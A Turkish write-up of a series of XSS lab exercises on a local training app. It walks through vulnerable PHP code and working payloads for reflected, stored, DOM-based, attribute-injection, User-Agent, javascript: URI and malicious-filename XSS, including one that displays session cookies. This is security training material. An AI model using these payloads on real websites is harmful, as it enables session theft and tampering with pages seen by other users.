Basic Reflected
🛡️ Cross-Site Scripting (XSS) Nedir?
XSS, web uygulamalarında sık görülen bir güvenlik açığıdır. Bu açık, saldırganın kötü niyetli kod (genellikle JavaScript) enjekte ederek başka kullanıcıların tarayıcısında çalıştırmasına olanak tanır. Böylece saldırgan, kullanıcı verilerini çalabilir, oturumları ele geçirebilir veya sahte içerik gösterebilir.
🔍 Nasıl Ortaya Çıkar?
- Girdi doğrulama eksikliği: Kullanıcıdan alınan veriler (formlar, URL parametreleri, yorum alanları) filtrelenmeden veya temizlenmeden doğrudan sayfada gösterildiğinde.
- Çıktı kodlaması yapılmaması: Kullanıcı verisi HTML içinde doğru şekilde encode edilmezse, tarayıcı bunu komut olarak çalıştırabilir.
🎯 XSS Türleri
- Stored XSS (Kalıcı): Kötü niyetli kod veritabanına kaydedilir ve her kullanıcıya gösterilir. Örnek: Forum yorumuna zararlı script eklenmesi.
- Reflected XSS (Yansıtılan): Zararlı kod URL veya form aracılığıyla gönderilir ve anında geri yansıtılır. Örnek: Hatalı arama sonuç sayfasında script çalışması.
- DOM-based XSS: Tarayıcıdaki JavaScript kodunun DOM manipülasyonu sırasında kullanıcı verisini yanlış işlemesi. Örnek:
document.write()ile kontrolsüz veri eklenmesi.
1. İlk Adım: Kaynak Kodun İncelenmesi
Lab sayfasını açtıktan sonra ilk yaptığımız şey, herhangi bir payload denemeden önce arka planda çalışan PHP kodunu incelemek oldu.
İlgili kısım şu şekilde:
if (isset($_GET['q'])) {
$q = $_GET['q'];
echo '<div class="alert alert-danger">';
echo '' . $strings['text'] . ' <b>' . $q . '</b> ';
echo '<a href="index.php">' . $strings['try'] . '</a>';
echo "</div>";
}Bu noktada kritik birkaç detay hemen göze çarpıyor:
- Kullanıcıdan alınan veri:
$_GET['q'] - Bu veri hiçbir filtreleme veya encode işleminden geçmeden
- Doğrudan HTML çıktısının içine gömülüyor
Burada ne yok?
htmlspecialchars()htmlentities()- input validation
- output encoding
Bu eksiklik, XSS için açık bir davetiye.
2. Veri Akışının Takibi (Data Flow)
Formun HTML tarafına baktığımızda:
<form method="GET">
<input type="text" name="q">
</form>Bu bize şunu söylüyor:
- Form
GETmethod'u ile gönderiliyor qparametresi doğrudan URL'e ekleniyor
Yani tarayıcıda şu yapı oluşuyor:
/lab/xss/basic-reflected/?q=KULLANICI_GIRDISIVe bu değer, sunucu tarafında aynen response içine yazdırılıyor.
Bu, Reflected XSS'in klasik tanımıdır:
Kullanıcı girdisi → response → başka bir kullanıcıya yansıtılır
3. XSS Bağlamının Belirlenmesi (Context Analysis)
Payload atmadan önce şu soruya cevap vermek gerekir:
Kullanıcı girdisi HTML'in neresinde render ediliyor?
Koddan gördüğümüz çıktı şu yapıya sahip:
<b>USER_INPUT</b>Bu bize şunu söyler:
- HTML body içindeyiz
- Attribute context değil
- JavaScript context değil
- Saf HTML context
Bu durumda <script> tag'inin çalışmaması için hiçbir teknik engel yok.
4. Payload Seçimi ve Sömürü
Bağlam belirlendikten sonra en temel ve öğretici payload kullanıldı:
<script>alert(1)</script>Bu payload iki şekilde gönderilebilir:
Yöntem 1: Form Üzerinden
Search alanına payload yazılıp submit edilir.
Yöntem 2: Direkt URL ile
http://localhost:1337/lab/xss/basic-reflected/?q=<script>alert(1)</script>Her iki yöntem de aynıdır çünkü form zaten GET request üretmektedir.
5. Payload Neden Çalıştı?
Sunucunun oluşturduğu HTML çıktısı şu hale gelir:
<b><script>alert(1)</script></b>Tarayıcı HTML'i parse ederken:
<script>tag'ini algılar- İçindeki JavaScript kodunu çalıştırır
alert(1)tetiklenir
Ekranda "1" yazan bir popup görülür.

Bu noktada:
- XSS başarıyla tetiklenmiştir
- Lab teknik olarak çözülmüştür
Popup kapatıldıktan sonra sayfada "No result found for …" mesajının görünmesi normaldir. Bu, payload'ın çalışmadığı değil; sayfanın render edilmeye devam ettiği anlamına gelir.
Basic Stored
1. Kaynak Kod İncelemesi
Login sayfasındaki ilgili PHP kodu:
if (isset($_POST['uname']) && isset($_POST['passwd'])) {
$q = $db->prepare("SELECT * FROM users WHERE username=:user AND password=:pass");
$q->execute(array(
'user' => $_POST['uname'],
'pass' => $_POST['passwd']
));
$_select = $q->fetch();
if (isset($_select['id'])) {
$_SESSION['username'] = $_POST['uname'];
header("Location: stored.php");
exit;
}
}Burada önemli olan noktalar:
- SQL Injection yok (prepared statement kullanılmış)
- Kullanıcı adı session'a filtrelenmeden yazılıyor
- Ancak bu dosyada kullanıcı girdisi HTML'e basılmıyor
Yani:
- Burada XSS tetiklenmez
- Ama veri burada sisteme girer
Stored XSS'in doğası gereği bu normaldir.
2. Gerçek Hedef: Stored Message Sayfası
Login sonrası yönlendirilen sayfa, mesajların gösterildiği alan.
HTML çıktısında şu yapı dikkat çekiyor:
<div class="msg">SELAM</div>
<div class="msg">Hi</div>Bu bize şunu söylüyor:
- Daha önce gönderilmiş mesajlar var
- Bu mesajlar HTML içinde render ediliyor
- Escape edilmiş bir çıktı görünmüyor
Burada kritik soru şu:
Bu mesajlar nereden geliyor?
Cevap: ➡️ Kullanıcıdan
3. Input Noktası — Payload'ın Ekildiği Yer
Mesaj gönderme formu:
<form action="#" method="POST">
<textarea name="mes"></textarea>
<button type="submit">Submit</button>
</form>Bu noktada şunları görüyoruz:
- Kullanıcı istediği veriyi girebilir
- POST ile sunucuya gönderilir
- Sunucu bu veriyi saklar
- Sonrasında chat alanında tekrar tekrar gösterir
Ancak:
htmlspecialchars()htmlentities()- output encoding
gibi hiçbir güvenlik önlemi yoktur.
Bu, stored XSS için ideal bir senaryodur.
4. XSS Bağlamının Analizi (Context Matters)
Mesajlar şu HTML içinde gösteriliyor:
<div class="msg">USER_INPUT</div>Bu şu anlama gelir:
- HTML body içindeyiz
- Attribute context değil
- JavaScript context değil
- Saf HTML context
Dolayısıyla <script> tag'inin çalışmaması için hiçbir engel yoktur.
5. Payload Seçimi ve Sömürü
En temel ve öğretici payload kullanıldı:
<script>alert(document.cookie)</script>Bu payload textarea'ya yazılıp Submit edildi.
Sonrasında olanlar:
- Payload sunucu tarafında saklandı
- Sayfa yeniden yüklendi
- Tarayıcı HTML'i parse etti
<script>çalıştı- Session cookie ekranda görüntülendi
Çıktı şu şekildeydi:

PHPSESSID=i5510pe86k6ni31nu5tjilnea7Bu, XSS'in başarılı olduğunu değil, tehlikeli olduğunu gösterir.
6. Neden Bu Bir Stored XSS?
Bu zafiyet reflected XSS değildir, çünkü:
- Payload URL'de taşınmaz
- Aynı request'te çalışmaz
- Sunucu tarafında kalıcı olarak saklanır
- Sayfa her açıldığında tekrar tekrar çalışır
- Diğer kullanıcıları da etkiler
Bu, textbook tanımıyla Stored XSS'tir.
DOM
1. Uygulamanın Genel Yapısı
Uygulama, kullanıcıdan iki parametre almaktadır:
heightbase
Bu parametreler kullanılarak üçgen alanı hesaplanmakta ve sonuç ekranda gösterilmektedir.
URL örneği:
http://localhost:1337/lab/xss/basic-dom-based/?height=5&base=10Kullanıcı açısından masum bir hesaplama sayfası gibi görünmektedir.
2. Kaynak Kod İncelemesi
Kritik bölüm aşağıdaki PHP + JavaScript kodudur:
if (isset($_GET['base']) && isset($_GET['height'])) {
echo '<div class="alert alert-success" id="answer"></div>';
echo '<script>';
echo 'var height = '.$_GET['height'].';';
echo 'var base = '.$_GET['base'].';';
echo 'var ans = base * height / 2;';
echo 'document.getElementById("answer").innerHTML = "Result: "+ans;';
echo '</script>';
}Kritik Hatalar
- Kullanıcı girdileri (
$_GET['height'],$_GET['base']) hiçbir filtreleme veya encode işlemi yapılmadan JavaScript içine yazılıyor. - Girdiler tırnaksız şekilde JS değişkeni olarak kullanılıyor.
- Sonuç ekrana
innerHTMLile basılıyor.
Bu üç hata birlikte DOM Based XSS için ideal bir ortam oluşturuyor.
3. Zafiyetin Mantığı (DOM XSS)
Bu zafiyette:
- Payload HTML response içinde görünmez
- JavaScript çalıştığı anda DOM manipüle edilir
- Sunucu tarafında herhangi bir XSS filtresi olsa bile işe yaramaz
Veri akışı şu şekildedir:
URL parametresi → JavaScript değişkeni → DOM (innerHTML)4. İlk Gözlem: Normal Çalışma
Normal bir kullanımda:
height=5&base=10JavaScript şu şekilde çalışır:
var height = 5;
var base = 10;
var ans = base * height / 2;Sonuç ekranda düzgün şekilde gösterilir.
5. Sömürü Stratejisi
Amaç:
- Hesaplama yapmak değil
- Kullanıcının gördüğü sonucu manipüle etmek
Bunun için:
- JavaScript satırını kırmak
- Kendi kodumuzu çalıştırmak
- Orijinal hesaplamayı devre dışı bırakmak gerekir
Kod sırası önemli olduğu için payload base parametresine yerleştirilmiştir.
6. Payload Oluşturma
Kullanılan payload (URL encoded):
http://localhost:1337/lab/xss/basic-dom-based/?height=5&base=0%3Bdocument.getElementById(%22answer%22).innerHTML%3D%22HACKED%22%3B%2F%2FDecode edilmiş hali:

0;document.getElementById("answer").innerHTML="HACKED";//7. Tarayıcıda Çalışan JavaScript
Payload sonrası tarayıcıda çalışan JS kodu şu hale gelir:
var height = 5;
var base = 0;
document.getElementById("answer").innerHTML="HACKED";
// var ans = base * height / 2;- Orijinal hesaplama satırı yorum satırı haline gelir
- DOM doğrudan saldırgan tarafından değiştirilir
- Kullanıcı ekranda HACKED yazısını görür
Bu noktada DOM Based XSS başarıyla kanıtlanmıştır.
HTML Attribute Manipulation
HTML Attribute Manipulation, XSS saldırılarında kullanılan bir yöntemdir. Burada saldırgan, bir HTML etiketinin içindeki attribute (özellik) değerini bozarak veya yeni bir attribute ekleyerek tarayıcıda kötü niyetli JavaScript çalıştırır.
1. Uygulama Ne Yapıyor?
Sayfada basit bir form var:
- Kullanıcı
namealanına bir değer giriyor - Sayfa aşağıda "See your ticket" adlı bir link oluşturuyor
- Bu link şu yapıya sahip:
ticket.php?name=KULLANICI_GIRDISIKullanıcı bu linke tıkladığında ticket.php sayfasına yönlendiriliyor.
2. Kaynak Kodda Kritik Nokta
Asıl zafiyet şu satırda:
echo '<a href="ticket.php?name=' . $ticketname . '"> See your ticket </a>';Burada:
- Kullanıcı girdisi (
$ticketname) - Doğrudan
href="..."attribute'u içine yazılıyor - Sadece
<ve>karakterleri encode ediliyor
Yani şu karakterler filtrelenmiyor:
"'- HTML event'leri (
onclick,onmouseovervb.)
Bu çok kritik bir hata.
3. Zafiyetin Mantığı (Basit Anlatım)
Normal HTML:
<a href="ticket.php?name=test">See your ticket</a>Eğer biz " karakterini kullanırsak:
hrefattribute'unu erken kapatabiliriz- Yeni bir attribute ekleyebiliriz
İşte buna HTML Attribute Manipulation denir.
4. Kullanılan Payload
Formdaki name alanına şu payload girildi:
" onclick=alert(1) x="
5. Tarayıcıda Oluşan HTML
Sunucu tarafında oluşan HTML:
<a href="ticket.php?name=" onclick=alert(1) x="">See your ticket</a>Ne oldu?
hrefattribute'u kapandıonclickattribute'u eklendi- JavaScript çalışabilir hale geldi
6. XSS Nasıl Tetiklendi?
- Kullanıcı "See your ticket" linkine tıkladığında
onclickolayı tetiklendialert(1)çalıştı
Bu noktada XSS başarıyla kanıtlandı.
Welcome to Our Gallery

Uygulama Nasıl Çalışıyor?
Sayfa üzerinde dört adet buton bulunuyor. Bu butonlara tıklandığında tarayıcıya aşağıdaki gibi bir GET isteği gönderiliyor:
?img=1
?img=2Sunucu tarafında bu parametre alınarak seçilen görsel ekrana basılıyor.
Kaynak Kod İncelemesi
Aşağıdaki kod parçası açığın bulunduğu yerdir:
if (isset($_GET['img'])) {
echo '<img class="shadow-lg bg-body rounded"
src="' . encodeB($_GET['img']) . '.jpg"/>';
}Burada kullanıcıdan gelen img parametresi doğrudan <img> etiketinin src attribute'ü içine yerleştirilmektedir.
encodeB Fonksiyonu Ne Yapıyor?
function encodeB($char){
$char = str_replace("<", urlencode("<"), $char);
$encoded = str_replace(">", urlencode(">"), $char);
return $encoded;
}Filtrelenenler:
<>
Filtrelenmeyenler:
"(çift tırnak)'(tek tırnak)- Boşluk karakteri
- JavaScript event handler'lar (
onerror,onloadvb.)
Bu durum yanlış bir güvenlik varsayımıdır.
Kritik Nokta: Context Analizi
Oluşan HTML şu şekildedir:
<img src="KULLANICI_GİRDİSİ.jpg">Bu bir HTML attribute contexttir.
Burada:
<script>kullanmaya gerek yoktur- Attribute kırılması yeterlidir
- Event handler ile XSS mümkündür
Sömürü (Exploit) Mantığı
XSS'i tetiklemek için yapılması gerekenler:
srcattribute'ünü kapatmak- Yeni bir attribute eklemek
- Görselin yüklenmesini bilinçli olarak bozmak
Kullanılan Payload
" onerror="alert('HACKED')Tam URL:
http://localhost:1337/lab/xss/our-gallery/?img=" onerror="alert('HACKED')Tarayıcı Tarafında Ne Oluyor?
Tarayıcının yorumladığı HTML:
<img src="" onerror="alert('HACKED').jpg">src=""→ geçersiz görsel- Görsel yüklenemez
onerrortetiklenir- JavaScript çalışır
Bu noktada XSS başarıyla doğrulanmış olur.
Açığın Temel Sebepleri
- Eksik filtreleme
Sadece
<ve>encode edilmiştir. - Context-aware encoding yapılmaması HTML attribute'leri için tırnaklar encode edilmemiştir.
- Kullanıcı girdisinin doğrudan HTML'e basılması
- Allowlist kontrolünün olmaması
imgparametresinin sadece sayısal değer alması gerekirken bu kontrol yapılmamıştır.
Olası Etkiler (Impact)
Bu açık sayesinde saldırgan:
- JavaScript çalıştırabilir
- Kullanıcı oturumlarını çalabilir
- Sahte içerik gösterebilir
- Phishing saldırıları yapabilir
- Uygulamayı deface edebilir
Gerçek bir uygulamada bu açık High Severity XSS olarak değerlendirilir.
User Agent
1. Giriş (Login) Mekanizmasının İncelenmesi
İlk olarak login ekranındaki PHP kodunu inceleyelim:
$q = $db->prepare("SELECT * FROM users WHERE username=:user AND password=:pass");
$q->execute(array(
'user' => $_POST['uname'],
'pass' => $_POST['passwd']
));Bu kısım SQL Injection'a karşı prepared statement kullandığı için güvenli.
Login başarılı olunca:
$_SESSION['username'] = $_POST['uname'];
header("Location: user_agent_stored.php");Kullanıcı user_agent_stored.php sayfasına yönlendiriliyor.
Buraya kadar XSS ile ilgili bir şey yok.
2. Kritik Nokta: User-Agent Nereden Geliyor?
HTTP isteklerinde User-Agent header'ı tamamen istemci kontrolündedir.
Normalde tarayıcı şöyle gönderir:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)...Ama bu değer tamamen değiştirilebilir.
Burp Suite ile login isteğini yakaladığımızda şunu yaptık:
User-Agent: <script>alert('Hacked')</script>Bu payload login sırasında sunucuya gönderildi.
Önemli nokta:
Bu aşamada hiçbir alert çıkmaz.
Çünkü payload sadece kaydedilmiştir, henüz çalıştırılmamıştır.
3. Stored XSS Mantığı (Neden Hemen Çalışmadı?)
Bu labda:
- Payload User-Agent olarak veritabanına kaydedildi
- Çalışması için admin panelinde render edilmesi gerekiyordu
4. Admin Paneli Simülasyonu (Click Here)
user_agent_stored.php sayfasında şu mesaj yer alıyor:
"Admin logs your user agent data."
Sayfadaki Click Here butonuna bastığımızda admin paneli simüle ediliyor ve şu tablo gösteriliyor:
Username | User Agentİşte kritik hata burada.
User-Agent verisi:
- Hiçbir
htmlspecialchars - Hiçbir encoding
- Hiçbir output escaping olmadan direkt HTML içine basılıyor.
5. XSS'in Tetiklenmesi
Tablo render edildiği anda tarayıcı şunu görmüş oluyor:
<script>alert('Hacked')</script>
Ve sonuç:
✅ JavaScript çalıştı ✅ Alert ekrana geldi
News
Labın Amacı
Bu lab bizden şunu göstermemizi bekliyor:
htmlspecialchars()kullanılsa bile XSS'in tamamen engellenemeyeceğini- HTML attribute context'inde farklı XSS vektörleri olduğunu
javascript:URI protokolünün çoğu zaman gözden kaçırıldığını
Uygulamanın Genel Yapısı

Uygulama basit bir haber ekleme sistemi:
- Kullanıcı:
- News Title
- News Url alanlarını dolduruyor
- Veriler SQLite veritabanına kaydediliyor
- Alt kısımda tüm haberler tablo halinde listeleniyor
- Haber başlığı tıklanabilir bir link olarak gösteriliyor
Kaynak Kod İncelemesi
1️⃣ Input Alınan Kısım
if (isset($_POST['link'])){
$ink = $_POST['link'];
$title = $_POST['title'];
$ink = htmlspecialchars($ink);
$title = htmlspecialchars($title);
$q = $db->prepare("INSERT INTO links(title,link) VALUES (:title,:link)");
$q->execute([
'link' => $ink,
'title' => $title,
]);
}Burada geliştirici şunu varsayıyor:
"htmlspecialchars kullandım, XSS artık mümkün değil"
Bu varsayım yanlış.
2️⃣ Output (Asıl Zafiyetin Olduğu Yer)
echo '<td>
<a href="'.$cikti['link'].'" style="text-decoration: none;">
' . $cikti['title'] . '
</a>
</td>';Bu noktada iki farklı bağlam var:
Veri Kullanıldığı YertitleHTML bodylinkHTML attribute (href)
Bu ayrım kritik.
Neden htmlspecialchars() Yetersiz?
htmlspecialchars() yalnızca şu karakterleri hedef alır:
<>"'
Ancak şu payload'ta hiçbiri yoktur:
javascript:alert('XSS')Dolayısıyla:
htmlspecialchars("javascript:alert('XSS')")çıktısı değişmeden kalır.
Exploit Mantığı
Tarayıcılar <a> etiketi içinde:
<a href="javascript:alert('XSS')">gördüğünde:
- Linke tıklanırsa
- JavaScript kodunu çalıştırır
Bu davranış tarayıcı standardıdır.
Adım Adım Exploit
1️⃣ Lab sayfasına gidilir
http://localhost:1337/lab/xss/news/2️⃣ Form şu şekilde doldurulur
News Title
Test NewsNews Url
javascript:alert('XSS')Submit edilir.
3️⃣ Veri Veritabanına Kaydedilir
Payload artık stored durumdadır.
4️⃣ Haber Listesinde Link Oluşur
HTML çıktısı şu hale gelir:
<a href="javascript:alert('XSS')">Test News</a>5️⃣ Kullanıcı Linke Tıklar
💥 alert('XSS') çalışır.

File Upload
📌 1. Labı Anlamak

Bu lab, normal bir dosya yükleme ekranı sunar ancak görüntü yüklediğinde hiçbir şey değişmez. Bu durum bize iki şey söyler:
✔ Görsel gerçekten upload oluyor ✔ Ama görsel sunucu veya tarayıcı tarafından görünür değişiklik yaratmıyor
Lab açıklaması ve davranış koddan da anlaşılacağı üzere şöyle bir yapıyı takip eder:
<img src="<?php echo $path['path']; ?>">Buradaki path doğrudan kullanıcı yüklemesinden gelir ve hiç filtrelenmez.
🔍 2. Sorunun Özü:
Uygulama sadece içerik tipi / dosya uzantısı kontrolü yapıyor (jpg, png, gif gibi) ancak dosya adı üzerinde hiçbir sanitizasyon (temizleme / encode) uygulamıyor. Bu da XSS için kaynak sağlar.
🧪 3. Windows vs Linux / Docker Gerekliliği
Windows filesystem'i belirli karakterleri dosya adına koymana izin vermez. Örneğin:
"><img src=x onerror=alert('XSS')>.pnggibi bir isim Windows Explorer'da yazılamaz.
Bu yüzden önerilen ortam:
✔ Docker konteyneri içinde ✔ Kali Linux veya Ubuntu terminali ✔ Linux filesystem'inde çalışmak ✔ Firefox gibi gerçek tarayıcıyla test etmek
⚙️ 4. Docker'da Labı Çalıştırmak
- Kali Linux'a Docker kur
- Terminalde yaz:
docker run --name vulnlab -d -p 1337:80 yavuzlar/vulnlab:latest- Başlat:
sudo docker start vulnlab- Tarayıcıdan:
http://localhost:1337adresini aç.
🧰 5. Doğru Payload Nasıl Oluşturulur?
Buradaki amaç:
Dosya adını XSS payload'a dönüştürmek.
Windows bunu engellediği için Linux'da terminalden aşağıdaki gibi payload'ı oluşturalım:
touch '"><img src=x onerror=alert("XSS Zafiyeti")>.png'Bu komutla dosya adı direkt olarak XSS payload olur.
💥 6. XSS'in Tetiklenmesi
Server bu yüklenen dosyanın yolunu şöyle bir <img> tag'ı içinde render eder:
<img src="uploads/"><img src=x onerror=alert("XSS Zafiyeti")>.png">
Bu HTML tarayıcı tarafından parse edildiğinde:
- Tırnak kırılır
- Yeni
<img>tag'ı inject edilir onerrortetiklenir- Alert kutusu açılır